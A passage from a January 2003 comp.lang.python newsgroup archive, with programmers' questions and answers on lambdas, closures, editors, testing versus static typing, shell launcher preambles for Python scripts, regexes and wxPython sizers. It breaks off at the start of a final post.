From: aztech1200 at yahoo.com (Az Tech)
Date: 4 Jan 2003 07:12:12 -0800
Subject: Applications/examples of some advanced Py features, please !
Message-ID: <5a969143.0301040712.4cd2ad10@posting.google.com>

Hi Python gurus,

Can anyone please give some examples / applications of the use of the
following advanced (advanced to me, at least :-) features of Python :

1. lambda
(I understand the basic usage - simple examples - but I'm not able to
'wrap my head around' how to use it a way that will be of benefit.
Pls. see below for more on this.

2. nested functions - a little info was given by Danny in reply to my
earlier post on local-static variables, but I would like more.

3. Thoughts on implementing Interfaces in Py - a la Java interfaces.

I have, and will be doing more, on reading the docs and Googling for
this, but would anyway appreciate pointers/inputs from those who know
this stuff.

I have a specific reason for the above questions - apart from general
interest, of course - I am planning to write a game-playing program in
Py which will have features somewhat AI - ish, such as learning from
past games. I.e. it will be computer vs. human player, and I want to
try and make the computer learn from the saved history of past games -
wins/losses. I don't have any background in AI; nor much in functional
programming. I do understand recursion though, and basic Python
functional constructs like map, reduce and filter - at least the
simpler usages.

I suspect that some of the above 3 points will help me to write my app
in a better way. though not sure, of course. Hence the request for
examples.

For all of the above 3 points, I'm interested in :

 - code examples of their use

 - knowing in what way their use makes code simpler, or maybe makes
code possible that could not be written otherwise ('possible' in
practical terms - I'm - vaguely - aware of the fact that all languages
are supposed to be theoretically 'Turing-equivalent' - but what I mean
is that if something is going to take a huge amount more code in some
other language, or jumping through hoops, then I don't call it
practically equivalent).

Thanks ! I'll summarize and post more details on my progress with the
game, once I make some.

Az



From peter at engcorp.com  Fri Jan  3 14:40:41 2003
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 03 Jan 2003 14:40:41 -0500
Subject: OT: PSP, XP, TDD and other methodologies for solitary programmers
References: <3e145e67_1@goliath.newsgroups.com> <3E1467EE.93860EC4@engcorp.com> <mailman.1041527081.32120.python-list@python.org>
Message-ID: <3E15E739.95B69415@engcorp.com>

Donnal Walter wrote:
> 
> "Peter Hansen" <peter at engcorp.com> wrote in message
> news:3E1467EE.93860EC4 at engcorp.com...
> > Another very useful one has been to start using
> > an "issue tracker" to track all issues with the
> > project, and to prioritize them aggressively, in
> > order to limit scope creep.
> 
> What tool(s) do you use for issue prioritizing and tracking? I've tried to
> do something similar using just a text file, but it is becoming unwieldy.

We use an inhouse-developed issue tracker based on Zope (a really
crufty bunch of DTML, two years old with only minimal improvements
to date since DTML is so hideous for that kind of thing).  We'd really
really love to rewrite it in Python, but at the moment that's pretty 
far down the priority list.

I would suggest checking out the basic "bug tracker" or similar
tools that are available, pick a clean one, butcher it into something
even simpler than what is provided, and work with that.  Almost any
decent and *simple* bug tracker should be quite adequate for the purpose.
I strongly recommend using a web-based tool for anything like this,
unless you really are never at another location and always work 
completely alone.  Personally, I access my own issue trackers from
several different places and couldn't survive without them now.

(Sometime this year I'm hoping to redo this thing on my own, as a
test-driven open-source development which would be available to
anyone to use.  It would be nice if this could be done in such a
way as to be independent from Zope, Twisted, and any other specific
framework.)

-Peter



From jtk at yahoo.com  Fri Jan  3 15:13:16 2003
From: jtk at yahoo.com (Jeff Kowalczyk)
Date: Fri, 3 Jan 2003 15:13:16 -0500
Subject: Best Python Editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <lhf4va-ap4.ln@majestix.gallien.de> <slrnb1bo6m.o8n.grey@teleute.dmiyu.org> <3E15E5FD.7000100@hotmail.com>
Message-ID: <av4r1n$qbl$1@main.gmane.org>

I second this call for RPMs. I've been trying off and on for two weeks getting the
supporting libraries (particulary QScintilla) to build install correctly on RedHat8. I
almost had PyQt and QScintilla going from the RH7.3 src RPMS provided on Freshmeat, but
the build dies late in the game. I've never even gotten eric3's dependencies satisfied.

Based on the nice pictures I can see from the website, I think there's going to be a lot
of happy new eric3 users if the binary packaging made it easier to get up and running on
the latest major distros.

> Yes, please someone package (eric3) up!  I have been dying to try this out,
> and have been trying to install PyQt/Qscintilla for a few days now.  I
> spent the holidays setting up a fresh Linux box at home for the sole
> purpose of trying eric3 out.  I have yet to experience success.  I
> cannot seem to compile PyQt/Qscintilla properly for eric to install.
> All of the issues seem to be related to Qt and it messing with the
> compile stages of PyQt/Qscintilla.
>
> The binaries on sourceforge are next to useless for the latest eric3
> because the PyQt RPMS don't have Qscintilla support in them!  I'm sure
> there would be a lot more interest in this editor/debugger if it would
> install effortlessly (well...reasonably effortlessly - at least have the
> supporting packages compile properly).
>
> (BTW - I am currently running Mandrake 9)
>
> Mark.









From nntp at stone.nu  Tue Jan 21 05:08:41 2003
From: nntp at stone.nu (Fredrik Steen)
Date: 21 Jan 2003 02:08:41 -0800
Subject: Python web development, really
References: <j9bo2v0lo0qfngcfpqc3ooj0bo881lhuuh@4ax.com>
Message-ID: <99a0c374.0301210208.531ce830@posting.google.com>

Afanasiy <abelikov72 at hotmail.com> wrote in message news:<j9bo2v0lo0qfngcfpqc3ooj0bo881lhuuh at 4ax.com>...
> I would love to use Python instead of PHP for web development, but
> I have so far been confused by the options, or perhaps lack thereof,
> given my strict requirements. I would appreciate suggestions.

Have a look at draco.
It needs apache with mod_python: http://draco.boskant.nl/

./fs



From rmunn at pobox.com  Thu Jan 30 16:49:34 2003
From: rmunn at pobox.com (Robin Munn)
Date: Thu, 30 Jan 2003 21:49:34 GMT
Subject: Join
References: <mailman.1043881255.5085.python-list@python.org>
Message-ID: <slrnb3iifs.keh.rmunn@localhost.localdomain>

Justin Martin Anderson <AndersonJ01 at aol.com> wrote:
> join

<built-in method join of str object at 0x8117ee8>

-- 
Robin Munn <rmunn at pobox.com>
http://www.rmunn.com/
PGP key ID: 0x6AFB6838    50FF 2478 CFFB 081A 8338  54F7 845D ACFD 6AFB 6838



From zypin at sympatico.ca  Sat Jan  4 20:21:24 2003
From: zypin at sympatico.ca (Norman Skrzypinski)
Date: Sat, 4 Jan 2003 20:21:24 -0500
Subject: Distributing Python apps
Message-ID: <aMLR9.8636$8M3.1445703@news20.bellglobal.com>

David LeBlanc wrote:
>
> In the end, it's up to you as to whether or not you want to take a lot
> longer to develop the same app in VB or C++ compared to the relatively
minor
> inconvenience of a slightly longer d/l time for your users. IMO, Python is
> the clear winner.

In the end, I request that you very capable Python experts give me a way to
give my customers a 750 KB app.

That's not too much to ask, I think.  It's been done, by every other major
software company.

Norm








From imbosol at vt.edu  Sat Jan 25 19:30:09 2003
From: imbosol at vt.edu (Carl Banks)
Date: Sun, 26 Jan 2003 00:30:09 GMT
Subject: Replacing methods without subclassing
References: <NNEY9.47306$F63.1019882@news.xtra.co.nz>
Message-ID: <l_FY9.1186$Gj3.39@nwrddc02.gnilink.net>

Aum wrote:
> Hi,
> 
> I notice that when I replace a method in a class instance, by doing:
> 
>        >>>myinstance.methodname = myfunc
> 
> the new function gets called *without* the class instance as the first 
> argument.
> 
> Is there any way of changing this *without* subclassing?

I can think of a few options:

1. You could replace the method in the class object, as opposed to the
   instance object.  This, of course, will cause all objects of that
   type to get the new method.  If that's what you want, that's what
   you should do.  But if you only want one instance to have the new
   method, you'll have to try something else.

2. If you have Python 2.1 or above, you can use a closure to define a
   wrapper function.  So if you have a function that you want to use
   as a method, defined like this:

       def myfunc(self,arg1,arg2):
           ...

   You can define a function that wraps this function inside another
   that supplies the instance:

       from __future__ import nested_scopes

       def attach_method_to_instance(instance,func):
           def attached_method(*args,**kwargs):
               return func(instance,*args,**kwargs)
           return attached_method

   And then you can set myfunc to be a method of that one instance
   with the following:

       myinstance.methodname = attach_method_to_instance(myinstance,myfunc)

   Better yet, if you only need this particular behavior for one
   class, you could make attach_method_to_instance a method (replace
   instance with self).


3. You can define a wrapper class, analogous to the above example:

       class AttachedMethod:
           def __init__(self,instance,func)
               self.instance = instance
               self.func = func
           def __call__(self,*args,**kwargs):
               return self.func(self.instance,*args,**kwargs)          

       myinstance.methodname = AttachedMethod(myinstance,func)

   Not quite as smooth or efficient as the closure above, but it works
   on Pythons before 2.1.


-- 
CARL BANKS



From edream at tds.net  Fri Jan 10 18:37:09 2003
From: edream at tds.net (Edward K. Ream)
Date: Fri, 10 Jan 2003 23:37:09 GMT
Subject: [ann] Minimal Python project
References: <mailman.1042209749.31180.python-list@python.org>
Message-ID: <FOIT9.121090$Hs2.11398609@kent.svc.tds.net>

> As Armin Rigo of PSYCO fame takes part in the effort,
we are confident that MinimalPython will eventually
run faster than today's CPython.

This announcement seems to be making a truly remarkable claim, namely that
one could increase the speed of  C code by recoding it in Python and then
applying Psycho to it.

I am inclined to disbelieve this claim.  Why should Psycho be able to do
better than an optimizing C compiler applied to hand-written interpreter
code and/or library code?  The only possibilities I can think of:

1. The GIT somehow has access to enough run-time information to perform some
truly excellent optimizations.
2. The granularity of the data processed by the GIT somehow is big enough to
again affect some excellent optimizations.
3. There are other marvelous optimizations, unknown to me and available
neither to Guido nor to an optimizing compiler that can be applied.

My guess is that none of these are true.  Furthermore, I suspect that if
such optimizations are available to the GIT the optimizations could also be
made available either to Guido or to optimizing C compilers.  Note that the
fact that Psycho can improve Python code is not, by itself, an indication
that it could improve the corresponding C code!

Would anyone care to enlighten me how MinimalPython will achieve its stated
goals?

Edward
--------------------------------------------------------------------
Edward K. Ream   email:  edream at tds.net
Leo: Literate Editor with Outlines
Leo: http://personalpages.tds.net/~edream/front.html
--------------------------------------------------------------------





From peter at engcorp.com  Mon Jan  6 21:46:35 2003
From: peter at engcorp.com (Peter Hansen)
Date: Mon, 06 Jan 2003 21:46:35 -0500
Subject: Python vs .Net
References: <PxQR9.45$uS3.4626462@mantis.golden.net> <v1i5tsger4jv81@corp.supernews.com> <3E197F7C.D4549EC5@engcorp.com> <v1jd1o8pjuho28@corp.supernews.com>
Message-ID: <3E1A3F8B.8D4BAD96@engcorp.com>

Greg Brunet wrote:
> 
> "Peter Hansen" <peter at engcorp.com> wrote in message
> > write LOTS of unit tests, and acceptance tests, to catch these
> > problems before you release.  But you do that anyway (right? ;-) )
> > since the minimal checking your VB.NET compiler does cannot possibly
> > catch the majority of problems in your code...
> 
> [...]  I don't see the need to
> increase the amount these tests in order to catch stuff that the
> compiler can otherwise find for me (when statically typed).  Also, I (1)
> wonder how many folks really do this to the necessary degree in the all
> of their apps (I haven't seen this kind or degree in test code in the
> Python code that I've reviewed so far, 

Definitely not everyone does it (yet?).  On the other hand, some people
*are* doing it.  For one thing, much or most of Python's own code has
extensive unit tests (check out the /lib/test folder).  As another good
example, the Twisted framework was developed using XP and has unit tests
using the PyUnit test framework.  See http://twistedmatrix.com/ for more.

The fact that few are doing this doesn't invalidate the concept.  It just
means that many have ignored good advice for decades.  The emergence of 
the new "agile" development methods means that more are being exposed
to the benefits for the first time, and in a context which makes it 
much more likely they will actually be able to build such tests.

> and (2) unit testing something
> for different conditions DOES NOT relieve you of the need to add error
> checking code, and I have seen virtually none of the error checking code
> I would expect in the stuff I've reviewed.  Does all your code check to
> make sure that you are passed an integer instead of a float or a string?

Actually, in many cases it *does* relieve you of the need for error 
checking code.  I likely wouldn't convince you of this in a short post,
but there are books being written on the subject as we speak... 

The fact that all the important paths in my code are exercised before
I release means that I don't need to worry about explicit tests for
integers versus strings or floats.  My tests give me confidence that
the function that cares about this is *not* called with bad values.

I also know a number of other things about it that your VB compiler
cannot possibly tell you.  I know that the logic contained in that 
function actually works.  I know that the value passed in, not the 
constant that I hacked in during debugging and forgot to remove later,
is actually the one used.  I know that the subroutines called by
that function are correct as well, and that I didn't use the wrong
name for something during a cut-and-paste accident.  How would VB
tell you all that without tests?

I think any discussion which compares Python unfavourably with 
a statically typed language where the compiler can do type-checking,
but which does not assume full unit testing will be performed, is
merely a way of justifying code-and-fix hacking in the statically
typed language.  If you assume proper testing, the advantages of
the statically typed language are vastly diminished.

-Peter



From peter at engcorp.com  Tue Jan  7 23:12:00 2003
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 07 Jan 2003 23:12:00 -0500
Subject: best college for computer science major
References: <3e1ba232_6@nopics.sjc>
Message-ID: <3E1BA510.85FBDD59@engcorp.com>

Tupoi wrote:
> 
> what are the best colleges for those wanting to major in computer science

To keep this on-topic for this newsgroup, I suppose the answer
has to be "any which teach Python!".

You *did* want to keep this on-topic, didn't you?  <0.1 wink>

-Peter



From BPettersen at NAREX.com  Fri Jan 24 17:07:52 2003
From: BPettersen at NAREX.com (Bjorn Pettersen)
Date: Fri, 24 Jan 2003 15:07:52 -0700
Subject: Commercial IDEs: is it worth it?
Message-ID: <60FB8BB7F0EFC7409B75EEEC13E2019201BFE1E9@admin56.narex.com>

> From: neal [mailto:nealj at users.sourceforge.net] 
> 
> We've been using HAP (we developed it) for over a year and are pretty
> happy with it - http://sourceforge.net/projects/hapdebugger

As are we (at least once we changed the default color scheme :-)

Guess I should try out v3.0 now (I'm still at 1.0...)

-- bjorn
http://www.narex.com




From johnroth at ameritech.net  Fri Jan 17 07:49:57 2003
From: johnroth at ameritech.net (John Roth)
Date: Fri, 17 Jan 2003 07:49:57 -0500
Subject: Idea: __all__ in classes?
References: <slrnb2e3kb.gp8.mlh@furu.idi.ntnu.no> <7h3el7cm2o5.fsf@pc150.maths.bris.ac.uk>
Message-ID: <v2futu9ose9682@news.supernews.com>

"Michael Hudson" <mwh at python.net> wrote in message
news:7h3el7cm2o5.fsf at pc150.maths.bris.ac.uk...
> mlh at furu.idi.ntnu.no (Magnus Lie Hetland) writes:
>
> > I just had an idea: Perhaps the following could be a useful
convention
> > for private attributes (and methods)?
>
> As a gut reaction, Heck No.  I'm a fan of cooperative encapsulation.
>
> [snip heresy <wink>]
> > With properties and metaclasses this should be fairly easy to
> > implement. (The private stuff I've already implemented with
properties
> > a while back.)
>
> How do you distinguish access from inside the class and access
> outside?
>
> > Of course this need not be the default behaviour; a superclass with
> > a suitable __metaclass__ attribute would be sufficient...
>
> In which case ...
>
> > I guess my question is whether this seems like a good idea at all...
> > And if it, perhaps, should be proposed as a PEP for inclusion in the
> > standard libs or something?
>
> ... no.
>
> All IMHO, of course.
>
> Hmm, maybe pychecker could look for this sort of thing, though.  Or
> you could issue warnings on "inappropriate" accesses.  Strangely, I
> find that idea much more acceptable, and I'm not quite sure why.

Because there's already a convention for declaring a variable private:
begin the name with an underscore. I don't know if pyChecker looks
for this, but it certainly could.

John Roth
>
> Cheers,
> M.
>
> --
>   The bottom tier is what a certain class of wanker would call
>   "business objects" ...                      -- Greg Ward, 9 Dec 1999





From siugarc at interserv.com.tw  Thu Jan  9 01:50:30 2003
From: siugarc at interserv.com.tw (siugar)
Date: 9 Jan 2003 14:50:30 +0800
Subject: how to build single thread python dll?
Message-ID: <avj651$1gm0$1@news.is.net.tw>

I build a python22_d.dll with debug multithread dll project setting.
My VC 6.0 project with python embedding system worked well.
I hope my project builded with single thread dll project setting.
I modify py_config.h(undef WITH_THREAD and NT_THREADS), remove thread.c and threadmodule.c from project and
 rebuild it with debug single dll project setting.
When I rebuild My Vc6.0 project with this dll and run it, something crash on assembly code.
I don't know how to solve it?
Would anyone give me any suggestion?



-- 




From phil at river-bank.demon.co.uk  Fri Jan 17 04:59:52 2003
From: phil at river-bank.demon.co.uk (Phil Thompson)
Date: Fri, 17 Jan 2003 09:59:52 +0000
Subject: SIP Python bindings generator - nested templates
In-Reply-To: <b08j94$if6$1@naxos.belnet.be>
References: <b071bo$msc$1@naxos.belnet.be> <3E271AB1.7030005@SPAMnwinternet.com> <b08j94$if6$1@naxos.belnet.be>
Message-ID: <200301170959.52222.phil@river-bank.demon.co.uk>

On Friday 17 January 2003 9:43 am, Pakewak wrote:
> Jim wrote:
> > // in your sip files, you can either assign
> > // a new name to the template type, or just
> > // use it as the identifier - sip will accept
> > // the <'s and >'s as part of the identifier
> > %MappedType plSMat<plSquareMatrix<double>, 3>
>
> The line above causes a parse error. When I remove the second template
> parameter it works:
>
> %MappedType plSMat<plSquareMatrix<double>>

That's why you have to invent a new type to keep SIP happy - which is what 
you've done.

Phil




From robert at nowhere.net  Mon Jan 20 08:26:17 2003
From: robert at nowhere.net (Robert Hord)
Date: Mon, 20 Jan 2003 13:26:17 GMT
Subject: data bound controls/Boa
References: <Is_V9.440$TM2.220@newssvr19.news.prodigy.com> <tchk2vsf74h450mckj1utagsdefd10nbao@4ax.com> <cb035744.0301190522.7683311d@posting.google.com>
Message-ID: <ZNSW9.24$Dm2.0@newssvr16.news.prodigy.com>

Will Stuyvesant wrote:

> [Tim Roberts]
> 
> This is not correct.  Tkinter is a standard module that comes with the
> default Python installation.  wxPython is an add-in module you have to
> download from their website.
> On the OT: what is a bounded control??  Would a Tkinter slider control
> do?
> 
> 
> QOTD:
> '''
> That curdles my toes.
> '''

A bound control is were you can attach a database field to an input box and 
all updates are applied to the data, if desired.  In VFP you can use bound 
controls or code the the entire process in code.  VFP uses two data 
buffers, one that is attached to the control and another (unchanged) to 
revert incase the user doesn't want to save the changes or if there is an 
update conflict.  I can write all of this in code, but I write a bunch of 
utilities where bound controls are handy.  Just paint the form, attach data 
fields, add a few buttons and you're good to go.  I haven't look at TCL/TK 
enough to know what it offers.  With so many python possiblities I was 
looking for some direction on data handling.  I'm looking at python since 
it has multiple OS capibilities.

Anyone have comments on Boa or gnome-db or other such python critters.

thanks;
-- 
reh - Texas,USA
RedHat 8.0
http://flashpages.prodigy.net/rhordjr




From akjmicro at yahoo.com  Sat Jan 25 00:28:30 2003
From: akjmicro at yahoo.com (Aaron K. Johnson)
Date: Fri, 24 Jan 2003 23:28:30 -0600
Subject: More usenet usage statistics, by programming language
References: <b0s7hn$fum$1@bob.news.rcn.net> <v339gg9p1rlb3e@news.supernews.com> <b0sbn3$rk3$1@bob.news.rcn.net> <3E31BACB.EA3D8CDA@engcorp.com> <b0smsl$ti$2@bob.news.rcn.net> <3E3201BA.BB87EA3@engcorp.com>
Message-ID: <b0t79k$m78$1@bob.news.rcn.net>

In message <3E3201BA.BB87EA3 at engcorp.com>, Peter Hansen wrote:
> "Aaron K. Johnson" wrote:
> > 
> > In message <3E31BACB.EA3D8CDA at engcorp.com>, Peter Hansen wrote:
> > > "Aaron K. Johnson" wrote:
> > > >
> > > > In message <v339gg9p1rlb3e at news.supernews.com>, "John Roth" wrote:
> > > > >
> > > > > I don't understand. Number of unique posters in the last 200 posts
> to a
> > > > > newsgroup I understand,
> > > > > and 647 to the (one) Python newsgroup I understand, but I don't
> > > > > understand how you get
> > > > > 647 different posters out of the last 200 posts.
> > > > >
> > > > > Oh, and Clipper is an old data base language, somewhere in the dbase
> > > > > family.
> > > >
> > > > oops, sorry....I meant 2000!
> > >
> > > So, among other problems, this means if a given newsgroup had a single
> > > large thread with a half-dozen regulars posting ten times each in a
> > > big argument, that particular language would appear less popular...
> > >
> > > -Peter
> > 
> > Peter,
> > 
> > Each poster is counted only once.
> 
> I understand that most basic point.  Let me try out an example
> to help clarify *my point*.
> 
> There are 2000 posts retrieved from comp.lang.noisy.  There is 
> a recent thread involving five people who each contributed 201
> messages.  That means 1000 of those 2000 messages are eliminated
> instantly by your filtering of non-unique posters.  That leaves
> only 1000 posts from which to measure the number of unique
> authors, aside from these prolific five.
> 
> Does that help?  The comments about needing to examine across
> a fixed duration are probably reasonable...
> 
> -Peter

Yes, thanks.

I'm now exploring some feature of the nntplib, in particular xhdr, to find and
organize date data. Your comments have been helpful! I'll post the results as I
complete the work!

Thanks,
Aaron.






From bub at joos.us  Thu Jan 16 07:09:21 2003
From: bub at joos.us (Bubba)
Date: Thu, 16 Jan 2003 12:09:21 GMT
Subject: Newbie How do I get Calendar input from the PythonCard component Calendar?
References: <8d5b2v04bdpfii53kd9dhealllvvvm399k@4ax.com> <rSjV9.248$%15.62381@news.uswest.net>
Message-ID: <248d2v8uhqhck81rr6rstqb7tsaloid76p@4ax.com>

On Wed, 15 Jan 2003 12:53:31 -0800, "Kevin Altis"
<altis at semi-retired.com> wrote:
Thanks very much.
I think there may be a problem with subscribing to pythoncard. My
reply keeps getting rejected.
>I put together an example.
>
>http://aspn.activestate.com/ASPN/Mail/Message/PythonCard/1500742
>
>Questions about PythonCard should generally go the mailing list.
>
>http://lists.sourceforge.net/lists/listinfo/pythoncard-users
>
>On a related note, if you run a PythonCard app with the Message Watcher (-m
>on the command-line) you can see all the events that are generated for a
>given component.
>
>ka
>
>"Bubba" <bub at joos.us> wrote in message
>news:8d5b2v04bdpfii53kd9dhealllvvvm399k at 4ax.com...
>> Tried many wasy all result in errorrs
>




From gerrit at nl.linux.org  Thu Jan  2 09:21:44 2003
From: gerrit at nl.linux.org (Gerrit Holl)
Date: Thu, 2 Jan 2003 15:21:44 +0100
Subject: comments inside blocks [WAS: Re: Best Python editor (under Linux)]
In-Reply-To: <3E14442D.7080501@draigBrady.com>
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <025d32cf-da98-4afa-ab9f-2f3f978a9c38@news.szn.dk> <av1dsi$pqv$1@reader1.imaginet.fr> <3E14442D.7080501@draigBrady.com>
Message-ID: <20030102142144.GA3262@nl.linux.org>

P_spam_ at draigBrady.com schreef op donderdag  2 januari om 15:01:08 +0000:
> However the folding seems wrong for python. For the
> following code the comment is folded along with
> the for statement?
> 
> for i in range(10):
> 	a=1
> #comment

It should, because...

>>> None
>>> for i in range(10):
...    print i
... #...
...    print i**2

...runs fine at my machine, apparantly it's permitted.

yours,
Gerrit Holl.

-- 
Asperger Syndroom - een persoonlijke benadering:
	http://people.nl.linux.org/~gerrit/
Het zijn tijden om je zelf met politiek te bemoeien:
	http://www.sp.nl/




From altis at semi-retired.com  Sat Jan 18 15:20:21 2003
From: altis at semi-retired.com (Kevin Altis)
Date: Sat, 18 Jan 2003 12:20:21 -0800
Subject: open an html string in a browser?
References: <v2j7tdai7bk9a9@corp.supernews.com>
Message-ID: <tFiW9.25$I01.89514@news.uswest.net>

I don't think you have any choice but to create an actual file for the
browser to read if you want to use the webbrowser module; the browser will
know nothing of zip files. If you want to use the actual name of the file,
but use the temporary directory on your system, make a call to
tempfile.mktemp() and then you can use the tempfile.tempdir variable for
creating the files. Something like:

import tempfile
tempfile.mktemp()
path = os.path.join(tempfile.tempdir, 'myfile.html')

Then just write the file contents before you call webbrowser with the path
you created.

http://www.python.org/doc/lib/module-tempfile.html

Note that the documenation is a bit out-of-date for Python 2.2.2, the docs
for 2.3a1 seem to better reflect what the module actually does:

http://www.python.org/doc/2.3a1/lib/module-tempfile.html

As an alternative to using the webbrowser module, you could use your own GUI
to display the HTML in which case you don't have to write out a temporary
file. wxPython has a wxHtmlWindow control which is cross-platform as well as
wrappers for the Windows IE control, which of course only works on Windows.
PythonCard has samples for using both.

http://pythoncard.sourceforge.net/samples/simpleBrowser.html

http://pythoncard.sourceforge.net/samples/simpleIEBrowser.html

Since it is possible to set the page by providing both a URL or text, it is
possible to read the file from the zip and then display that content
directly without using an intermediate file. I just created a zip containing
an HTML file to test this with the simpleIEBrowser sample, run with the -s
(Shell) command-line option:

>>> import zipfile
>>> f = zipfile.ZipFile('index-in-zip.zip')
>>> f.namelist()
['index-in-zip.html']
>>> data = f.read('index-in-zip.html')
>>> f.close()
>>> comp.htmlDisplay.text = data

The last line is referencing the html component and its text attribute and
works as expected.

Finally, if you are on Windows, then you could also access the browser
directly using win32com (part of Mark Hammond's win32all package) and set
its content directly, but I don't have an example of that offhand.

ka

"Lance" <lbrannma at cablespeed.com> wrote in message
news:v2j7tdai7bk9a9 at corp.supernews.com...
> Hi All,
>
> I have a zip file containing perhaps 800 html files. I want to use Python
to
> open one of these files in a browser.
> Suppose the filename is myfile.html.
>
> I've tried webbrowser and zipfile. These don't work.
>
> The reason is that zipfile.read('myfile.html') returns a string,
containing
> the contents of the file. However, Webbrowser requires a URL (in this case
> the name of an html file).
>
> I don't want to save the string from zipfile.read to disk.
>
> Any suggestions will be appreciated.
>
> Thanks,
> Lance
>
>





From tecargile at hotmail.com  Wed Jan 15 15:02:10 2003
From: tecargile at hotmail.com (Tim Cargile)
Date: 15 Jan 2003 12:02:10 -0800
Subject: avoiding long paths to interpreter
References: <aviaqo$9k6$1@nntp1.jpl.nasa.gov>
Message-ID: <8b67aef5.0301151202.1fa45343@posting.google.com>

Mathew Yeates <mathew at fugue.jpl.nasa.gov> wrote in message news:<aviaqo$9k6$1 at nntp1.jpl.nasa.gov>...
> in TCL, there is a trick where, instead of
> writing
> #![long path to tcl interpreter]
> 
> you write
> #!/bin/sh
> .
> . some magic, I don't remember what
> .
> 
> Is there an equivalent in python? What is the
> bast way to distibute a python script without
> knowing the users path to the python executable?
> 
> Mathew


There is a FAQ 4.63 from python.org regarding this but,
as Erik Max Francis has pointed out in this thread, there may be
limitations w/r '/usr/bin/env' that may eliminate using it and require
use of the following (as the first three lines of a python module
that is desired to be run):


  #! /bin/sh
  """:"
  exec python $0 ${1+"$@"}
  """

Note: Bourne shell syntax should be used for all shell statements for 
portability because '/bin/sh' may actually be 'Korn' or 'BASH'
on some platforms.

I'm not a big proponent of mixing the shell and python languages and
having interpreter A read interpreter B's file and recognize statements
that are buried in interpreter B's documentation sections ... but if
one is forced to this ... one can at least do it with some style.  :-)

So, I've come up with some additional reasons/extensions to the above 'hack'
- which is actually at the beginning of the python module that is desired
to be run and performs an interpreter swap-out (exec) after initially
identifying the module as a shell executable (#!/bin/sh).

The shell variables following 'python' are the module file
name ($0) and arguments passed to the module (${1+"$@"}).
Perhaps these approaches could further assist in limitations placed
on CGI scripts due to a limited path that is mentioned in FAQ 4.63.


Some Extensions (that have actually been tested):


1) If the PATH needed to be adjusted to have the desired python path
   prepended (PATH=python_path:${PATH}):

  #! /bin/sh
  """:"
  PATH=/usr/local/bin:${PATH}
  exec python $0 ${1+"$@"}
  """

2) If the 'python' needed to be selected preferentially,
   without altering or searching the PATH, for example:

  #! /bin/sh
  """:"
  if [ -x /usr/local/bin/python ];then
      exec /usr/local/bin/python $0 ${1+"$@"}
  elif [ -x /usr/bin/python ];then
      exec /usr/bin/python $0 ${1+"$@"}
  else
      echo "$0: Cannot find python in /usr/local/bin, /usr/bin" >&2
      exit 2
  fi
  """

3) Having a known-to-exist absolute path used in the 'exec' statement
   (/usr/local/bin in this example) to avoid a path search:

  #! /bin/sh
  """:"
  #--- 
  #--- Place your desired pre-exec shell statements here.
  #--- 
  exec /usr/local/bin/python $0 ${1+"$@"}
  """

Of course, with 3), it could have been or should have been done on line 1,
thusly:

#!/usr/local/bin/python

So ... there should be some additional shell statments preceding
the 'exec' to justify using it one would think.

If all this looks too much like hard-coding shell statements into a
python module, you're correct.  And it could be a maintenance hassle.
One way to avoid this is to have the shell component 'dot' execute a
file containing the statements.  This is like a very simplistic
python 'import' in general purpose.  All it does is find the file
and switch shell interpretation input it, then back to the original file
at the EOF of the 'dot' file.  It will allow a single file to support
multiple python modules so that changes to its behavior can be
made in one file and they affect all python modules.  Also, ideally,
changes to the python modules would not be required in the future.

Using a 'dot' file only lines (and the 'shell dot' file, of course)
are required by the python module in order to perform the 'exec':

  #! /bin/sh
  """:"
  . exec_python
  """

Contents of 'exec_python' 'shell dot' file (based on example 1, above):

  PATH=/usr/local/bin:${PATH}
  exec python $0 ${1+"$@"}


It requires the 'exec_python' file to be on the PATH to be found,
but it can probably reside in the same directory as the python
module(s) that references it, since the referencing script(s) must
have been found also using PATH.  The 'exec_python' ('shell dot')
module does not have to be executable, since it is only read and
not really executed.


Hope this helps,



From pedro_rodriguez at club-internet.fr  Thu Jan 23 12:47:16 2003
From: pedro_rodriguez at club-internet.fr (Pedro Rodriguez)
Date: Thu, 23 Jan 2003 18:47:16 +0100
Subject: replace linebreak
References: <b0p7va$ebu$06$1@news.t-online.com>
Message-ID: <b0p9r4$m6r$1@s1.read.news.oleane.net>

On Thu, 23 Jan 2003 18:18:04 +0100, Achim Domma wrote:

> Hi,
> 
> I try to replace line breaks using the re module, but can not figure out
> how to do it. If a line does not end with a ')' I want to join it with
> the following line. I tried something like
> 
> expr = re.compile(r'[^)]\n',re.M)
> expr.sub('',file_content))
> 
> but it does not change anything.
> 

Are you sure ? This is what I actually get with your example :

>>> expr = re.compile(r'[^)]\n',re.M)
>>> expr.sub('', '(Hello\nWorld)\n end of text')
'(HellWorld)\n end of text'


The problem I see is that you lose the character before the '\n',
so this could be better I think :

>>> expr = re.compile(r'([^)])\n',re.M)
>>> expr.sub('\g<1>', '(Hello\nWorld)\n end of text')
'(HelloWorld)\n end of text'


Pedro



From markus.vonehr at ipm.fhg.de  Thu Jan 23 10:54:38 2003
From: markus.vonehr at ipm.fhg.de (Markus von Ehr)
Date: Thu, 23 Jan 2003 16:54:38 +0100
Subject: wxPanel and Sizers question
References: <3E300AD1.8AE42379@ipm.fhg.de>
Message-ID: <3E30103E.E490495B@ipm.fhg.de>

OK, I discovered the error.
I missed:

     self.SetSizer(sizer)

Thanks,

Markus


Markus von Ehr schrieb:
> 
> Hi,
> 
> I want to create a Panel wherein several controls should be
> displayed vertically arranged.
> The problem is, that only the first button: "one" is
> displayed. I don't know where the problem is, because in
> several examples it's done like that.
> 
> class MyWindow(wxPanel):
>     def __init__(self, parent, ID):
>         wxPanel.__init__(self, parent, -1)
> 
>         box = wxBoxSizer(wxVERTICAL)
>         box.AddWindow(wxButton(self, 1, "one"), 0, wxEXPAND)
>         box.AddWindow(wxButton(self, 1, "two"), 0, wxEXPAND)
>         box.AddWindow(wxButton(self, 1, "three"), 0, wxEXPAND)
>         box.AddWindow(wxButton(self, 1, "four"), 0, wxEXPAND)
> 
> Any hints? Thanks,
> 
> Markus



From bokr at oz.net  Sat Jan 25 21:29:18 2003
From: bokr at oz.net (Bengt Richter)
Date: 26 Jan 2003 02:29:18 GMT
Subject: December 2002 comp.lang.* stats
References: <b0v3dq$bl4$1@bob.news.rcn.net>
Message-ID: <b0vh5u$66t$0@216.39.172.122>

On Sat, 25 Jan 2003 16:35:04 -0600, Aaron K. Johnson <akjmicro at yahoo.com> wrote:

>Hello All,
>
